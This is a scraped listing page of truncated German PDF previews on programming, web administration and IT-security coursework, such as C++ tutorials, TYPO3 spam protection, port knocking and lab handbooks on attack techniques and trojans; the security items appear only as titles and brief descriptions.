Tutoren Simon Andermatt Lukas Beck. Alexis Peter Thomas Ritter UNIVERSITÄT BASEL Dozent Prof. Dr. Thomas Vetter Departement Informatik Assistenten Brian Amberg Andreas Forster Tutoren Simon Andermatt Lukas Beck Webseite http://informatik.unibas.ch/lehre/hs10/cs101/index.html

Mehr

Spamschutz bei TYPO3. von Bernd Warken bei Fa. Netcos AG

Spamschutz bei TYPO3. von Bernd Warken bei Fa. Netcos AG Spamschutz bei TYPO3 von Bernd Warken bei Fa. Netcos AG Kapitel 0: Einleitung 3 0.1 Vorwort 3 0.2 Lizenz 3 Kapitel 1: Aktivierung und Konfiguration 4 1.1 config.spamprotectemailaddresses 4 1.2 config.spamprotectemailaddresses_atsubst

Mehr

Praktikum IT-Sicherheit

Praktikum IT-Sicherheit IT-Sicherheit Praktikum IT-Sicherheit - Versuchshandbuch - Aufgaben Angriffstechniken In diesem Versuch werden verschiedene Angriffstechniken anhand von Beispielen vorgestellt. Die Ausarbeitung der Übungen

Mehr

Python Programmierung. Dipl.-Ing.(FH) Volker Schepper

Python Programmierung. Dipl.-Ing.(FH) Volker Schepper Python Programmierung Kontaktdaten Homepage: http://wwwlehre.dhbw-stuttgart.de/~schepper/ Email: Volker. Schepper [A@T] yahoo.de Vorlesung Skriptsprachen Vorlesung: 06.03.2013 13.03.2013 20.03.2013 27.03.2013

Mehr

4D v11 SQL Release 6 (11.6) ADDENDUM

4D v11 SQL Release 6 (11.6) ADDENDUM ADDENDUM Willkommen zu Release 6 von 4D v11 SQL. Dieses Dokument beschreibt die neuen Funktionalitäten und Änderungen der Version. Erweiterte Verschlüsselungsmöglichkeiten Release 6 von 4D v11 SQL erweitert

Mehr

www.heimetli.ch Heimetli Software AG HSWModule ... Senden und Empfangen von SMS-Meldungen mit einem GSM-Modul Version 1.01 5.

www.heimetli.ch Heimetli Software AG HSWModule ... Senden und Empfangen von SMS-Meldungen mit einem GSM-Modul Version 1.01 5. www.heimetli.ch. Heimetli Software AG HSWModule........ Senden und Empfangen von SMS-Meldungen mit einem GSM-Modul Version 1.01 5. August 2005 Inhaltsverzeichnis Was ist HSWModule?... 1 Installation...

Mehr

Steht in der ersten Zeile #!/usr/bin/python und hat man die Ausführungsrechte gesetzt kann man es direkt ausführen.

Steht in der ersten Zeile #!/usr/bin/python und hat man die Ausführungsrechte gesetzt kann man es direkt ausführen. Python Unter Windows empfiehlt sich der Download von Python unter folgender URL, http:// www.python.org/download/. Linux Distributionen wie z.b. Ubuntu liefern Python direkt in Ihrer Paketverwaltung mit:

Mehr

Einführung in die Programmiersprache C

Einführung in die Programmiersprache C Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.

Mehr

MGE Datenanbindung in GeoMedia

MGE Datenanbindung in GeoMedia TIPPS & TRICKS MGE Datenanbindung in GeoMedia 10. September 2002 / AHU INTERGRAPH (Schweiz) AG Neumattstrasse 24, CH 8953 Dietikon Tel: 043 322 46 46 Fax: 043 322 46 10 HOTLINE: Telefon: 043 322 46 00

Mehr

Grundbegriffe der Kryptographie II Technisches Seminar SS 2012 Deniz Bilen

Grundbegriffe der Kryptographie II Technisches Seminar SS 2012 Deniz Bilen Grundbegriffe der Kryptographie II Technisches Seminar SS 2012 Deniz Bilen Agenda 1. Kerckhoff sches Prinzip 2. Kommunikationsszenario 3. Wichtige Begriffe 4. Sicherheitsmechanismen 1. Symmetrische Verschlüsselung

Mehr

Der C++ Crashkurs v1.0

Der C++ Crashkurs v1.0 Der C++ Crashkurs v1.0 Daniel Stöckel, M. Sc. October 14, 2013 1 Grundlegendes 1.1 Das erste Programm Wir beginnen mit einem einfachen Hello world Programm. Listing 1: hello world.cpp // Einbinden der

Mehr

Kurzeinführung in C++

Kurzeinführung in C++ Kurzeinführung in C++ Johannes J. Schneider 27.10.2004 1 Einleitung C++ ist eine heutzutage in vielen Bereichen sehr häufig verwendete Programmiersprache, die auf der Programmiersprache C aufsetzt, aber

Mehr

Nao Dokumentation. Arne Gerhold

Nao Dokumentation. Arne Gerhold Nao Dokumentation Arne Gerhold 25. Februar 2010 Kapitel 1 Erste Schritte 1.1 Softwareinstallation In diesem Abschnitt werden die Programme kurz beschrieben, die für die Erstellung von Steuer-Programmen

Mehr

Microsoft PowerPoint 2013 YouTube-Video einfügen

Microsoft PowerPoint 2013 YouTube-Video einfügen Hochschulrechenzentrum Justus-Liebig-Universität Gießen Microsoft PowerPoint 2013 YouTube-Video einfügen YouTube-Video einfügen in PowerPoint 2013 Seite 1 von 6 Inhaltsverzeichnis Einleitung... 2 Vorbereitungen...

Mehr

CLR CIL MCS ECMA-335. Linux.Ne t. 2005 Albrecht Liebscher, Erlanger Linux Tage

CLR CIL MCS ECMA-335. Linux.Ne t. 2005 Albrecht Liebscher, Erlanger Linux Tage C# CLR CIL MCS ECMA-335 Linux.Ne t Was ist.net? Microsoft Homepage:.NET is the Microsoft Web services strategy to connect information, people, systems and devices through software. Mono Handbuch:.Net besteht

Mehr

IT Engineering Continuous Delivery. Development Tool Chain Virtualisierung, Packer, Vagrant und Puppet. Alexander Pacnik Karlsruhe, 20.05.

IT Engineering Continuous Delivery. Development Tool Chain Virtualisierung, Packer, Vagrant und Puppet. Alexander Pacnik Karlsruhe, 20.05. IT Engineering Continuous Delivery Development Tool Chain Virtualisierung, Packer, Vagrant und Puppet Alexander Pacnik Karlsruhe, 20.05.2014 Einleitung... worum es in diesem Vortrag geht Ziele Continuous

Mehr

Anhang A - Weitere Bibliotheken. Die Bibliothek Mail_02.lib ermöglicht das Versenden von Emails mit dem Ethernet-Controller 750-842.

Anhang A - Weitere Bibliotheken. Die Bibliothek Mail_02.lib ermöglicht das Versenden von Emails mit dem Ethernet-Controller 750-842. Anhang A - Weitere Bibliotheken WAGO-I/O-PRO 32 Bibliothek Mail_02.lib Die Bibliothek Mail_02.lib ermöglicht das Versenden von Emails mit dem Ethernet-Controller 750-842. Inhalt Mail_02.lib 3 MAIL_SmtpClient...

Mehr

Technische Beschreibung: EPOD Server

Technische Beschreibung: EPOD Server EPOD Encrypted Private Online Disc Technische Beschreibung: EPOD Server Fördergeber Förderprogramm Fördernehmer Projektleitung Projekt Metadaten Internet Foundation Austria netidee JKU Linz Institut für

Mehr

Port-Knocking. Referat im Fach Datenschutz / -sicherheit von Stefan Macke. http://www.stefan. www.stefan-macke.com

Port-Knocking. Referat im Fach Datenschutz / -sicherheit von Stefan Macke. http://www.stefan. www.stefan-macke.com Port-Knocking Referat im Fach Datenschutz / -sicherheit von Stefan Macke http://www.stefan www.stefan-macke.com 1 Agenda des Port-Knockings knockd webknocking durch Port-Knocking? 2 2 Was ist Port-Knocking?

Mehr

DSLinux Skriptbasierte Inventarisierung für Linux

DSLinux Skriptbasierte Inventarisierung für Linux DSLinux Skriptbasierte Inventarisierung für Linux www.docusnap.com TITEL DSLinux AUTOR Docusnap Consulting DATUM 21.04.2015 Die Weitergabe, sowie Vervielfältigung dieser Unterlage, auch von Teilen, Verwertung

Mehr

http://www.stud.uni-potsdam.de/~hoeffi/gdb.html#wozu

http://www.stud.uni-potsdam.de/~hoeffi/gdb.html#wozu gdb: debugging code In der Vorlesung hatte ich Teile von http://www.stud.uni-potsdam.de/~hoeffi/gdb.html#wozu und ein eigenes Beispiel diskutiert. Ein Debugger soll helfen Fehler im Programm, die sich

Mehr

L3. Datenmanipulation

L3. Datenmanipulation L Datenmanipulation Aufbau eines Computers Prozessor, Arbeitsspeicher und system Maschinensprachen und Maschinenbefehle Beispiel einer vereinfachten Maschinensprache Ausführung des Programms und Befehlszyklus

Mehr

Übung 4: Schreiben eines Shell-Skripts

Übung 4: Schreiben eines Shell-Skripts Aufgabenteil 1 Ziel der Übung Übung 4: Schreiben eines Shell-Skripts Anhand eines einfachen Linux-Skripts sollen die Grundlagen der Shell-Programmierung vermittelt werden. Das für die Bash-Shell zu erstellende

Mehr

RACFBroker/z. Entfernter Zugriff auf das RACF Sicherheitssystem auf IBM Mainframes über TCP/IP. RACFBroker/z ist ein Produkt der

RACFBroker/z. Entfernter Zugriff auf das RACF Sicherheitssystem auf IBM Mainframes über TCP/IP. RACFBroker/z ist ein Produkt der RACFBroker/z Entfernter Zugriff auf das RACF Sicherheitssystem auf IBM Mainframes über TCP/IP RACFBroker/z ist ein Produkt der XPS Software GmbH Eching RACFBroker/z XPS Software GmbH Untere Hauptstr. 2

Mehr

PDF FormServer Quickstart

PDF FormServer Quickstart PDF FormServer Quickstart 1. Voraussetzungen Der PDF FormServer benötigt als Basis einen Computer mit den Betriebssystemen Windows 98SE, Windows NT, Windows 2000, Windows XP Pro, Windows 2000 Server oder

Mehr

Sicherheit in Software

Sicherheit in Software Sicherheit in Software Fabian Cordt und Friedrich Eder 3. Juni 2011 Allgemeines Begriffserklärung Woher Die 19 Todsünden 1 - Teil 2 - Teil 3 - Teil Was kann passieren Probleme beim Porgramm Durch Lücken

Mehr

Programmieren in C/C++ und MATLAB

Programmieren in C/C++ und MATLAB Programmieren in C/C++ und MATLAB Sven Willert Christian-Albrechts-Universität zu Kiel CAU 2-1 Datentypen und Formate Mit der Festlegung des Datentyps wird die Art bestimmt, mit der der Computer die Informationen

Mehr

Tutorium Java Ein Überblick. Helge Janicke

Tutorium Java Ein Überblick. Helge Janicke Tutorium Java Ein Überblick Helge Janicke 26. Oktober 2000 1 VORRAUSSETZUNGEN ZUM PROGRAMMIEREN MIT JAVA. 1 1 Vorraussetzungen zum Programmieren mit Java. Was braucht man, wenn man mit Java programmieren

Mehr

PHP Einsteiger Tutorial Kapitel 4: Ein Email Kontaktformular in PHP Version 1.0 letzte Änderung: 2005-02-03

PHP Einsteiger Tutorial Kapitel 4: Ein Email Kontaktformular in PHP Version 1.0 letzte Änderung: 2005-02-03 PHP Einsteiger Tutorial Kapitel 4: Ein Email Kontaktformular in PHP Version 1.0 letzte Änderung: 2005-02-03 Bei dem vierten Teil geht es um etwas praktisches: ein Emailformular, dass man auf der eigenen

Mehr

Security. Stefan Dahler. 6. Zone Defense. 6.1 Einleitung

Security. Stefan Dahler. 6. Zone Defense. 6.1 Einleitung 6. Zone Defense 6.1 Einleitung Im Folgenden wird die Konfiguration von Zone Defense gezeigt. Sie verwenden einen Rechner für die Administration, den anderen für Ihre Tests. In der Firewall können Sie entweder

Mehr

Matthias Hanreich - TheGreyKnight

Matthias Hanreich - TheGreyKnight Matthias Hanreich - TheGreyKnight Grundlagen Code Injection Beispiel: Buffer Overflow Gegenmaßnahmen Code Injection Return Oriented Programming (ROP) Gegenmaßnahmen ROP Demonstration CVE-2012-4969 Hands

Mehr

Whitepaper. Produkt: combit List & Label 16. List & Label Windows Azure. combit GmbH Untere Laube 30 78462 Konstanz

Whitepaper. Produkt: combit List & Label 16. List & Label Windows Azure. combit GmbH Untere Laube 30 78462 Konstanz combit GmbH Untere Laube 30 78462 Konstanz Whitepaper Produkt: combit List & Label 16 List & Label Windows Azure List & Label Windows Azure - 2 - Inhalt Softwarevoraussetzungen 3 Schritt 1: Neues Projekt

Mehr

Theorie und Praxis einer JSON-RPC-basierten Web-API

Theorie und Praxis einer JSON-RPC-basierten Web-API Theorie und Praxis einer JSON-RPC-basierten Web-API Christian Krause Christian.Krause@raritan.com Raritan Deutschland GmbH Chemnitzer LinuxTage 2015 Gliederung 1 2 Remote Procedure Call Interface Definition

Mehr

Apache HTTP-Server Teil 2

Apache HTTP-Server Teil 2 Apache HTTP-Server Teil 2 Zinching Dang 04. Juli 2014 1 Benutzer-Authentifizierung Benutzer-Authentifizierung ermöglicht es, den Zugriff auf die Webseite zu schützen Authentifizierung mit Benutzer und

Mehr

Praktikum IT-Sicherheit

Praktikum IT-Sicherheit IT-Sicherheit Praktikum IT-Sicherheit - Versuchshandbuch - Aufgaben Trojaner Als Trojaner wird eine Art von Malware bezeichnet, bei der es sich um scheinbar nützliche Software handelt, die aber neben ihrer

Mehr

Kap 4. 4 Die Mikroprogrammebene eines Rechners

Kap 4. 4 Die Mikroprogrammebene eines Rechners 4 Die Mikroprogrammebene eines Rechners Das Abarbeiten eines Arbeitszyklus eines einzelnen Befehls besteht selbst wieder aus verschiedenen Schritten (Befehl holen, Befehl dekodieren, Operanden holen etc.).

Mehr

C++ - Funktionen und mehr. Kerstin Gößner und Ralf Wondratschek

C++ - Funktionen und mehr. Kerstin Gößner und Ralf Wondratschek C++ - Funktionen und mehr Kerstin Gößner und Ralf Wondratschek Übersicht Deklaration, Definition und Initialisierung Variablen- und Konstantendeklaration Funktionsaufrufe und rückgabewerte Technische Grundlage

Mehr

C# Tutorial Part 1. Inhalt Part 1. Einleitung. Vorbereitung. Eagle Eye Studios. Einleitung Vorbereitung Das erste Projekt

C# Tutorial Part 1. Inhalt Part 1. Einleitung. Vorbereitung. Eagle Eye Studios. Einleitung Vorbereitung Das erste Projekt Eagle Eye Studios C# Tutorial Part 1 Inhalt Part 1 Einleitung Vorbereitung Das erste Projekt Einleitung Wer sich mit dem Programmieren schon einigermaßen auskennt, kann diesen Abschnitt überspringen. Programmieren,

Mehr

Virtualisierung mit Virtualbox

Virtualisierung mit Virtualbox Virtualisierung mit Virtualbox Dies ist kein Howto im herkömmlichen Sinne. Genaue Anleitungen für Virtualbox gibt es im Intenet genug. Zu empfehlen ist auch das jeweils aktuelle Handbuch von Virtualbox

Mehr

C++ - Operatoren. Eigene Klassen mit neuen Funktionen

C++ - Operatoren. Eigene Klassen mit neuen Funktionen C++ - Operatoren Eigene Klassen mit neuen Funktionen Übersicht Klassen bisher Eigene Operatoren definieren 2 Bisher Durch Kapselung, Vererbung und Polymorphy können nun eigene Klassen definiert werden,

Mehr

1.4.12 Sin-Funktion vgl. Cos-Funktion

1.4.12 Sin-Funktion vgl. Cos-Funktion .4. Sgn-Funktion Informatik. Semester 36 36.4.2 Sin-Funktion vgl. Cos-Funktion Informatik. Semester 37 37 .4.3 Sqr-Funktion Informatik. Semester 38 38.4.4 Tan-Funktion Informatik. Semester 39 39 .5 Konstanten

Mehr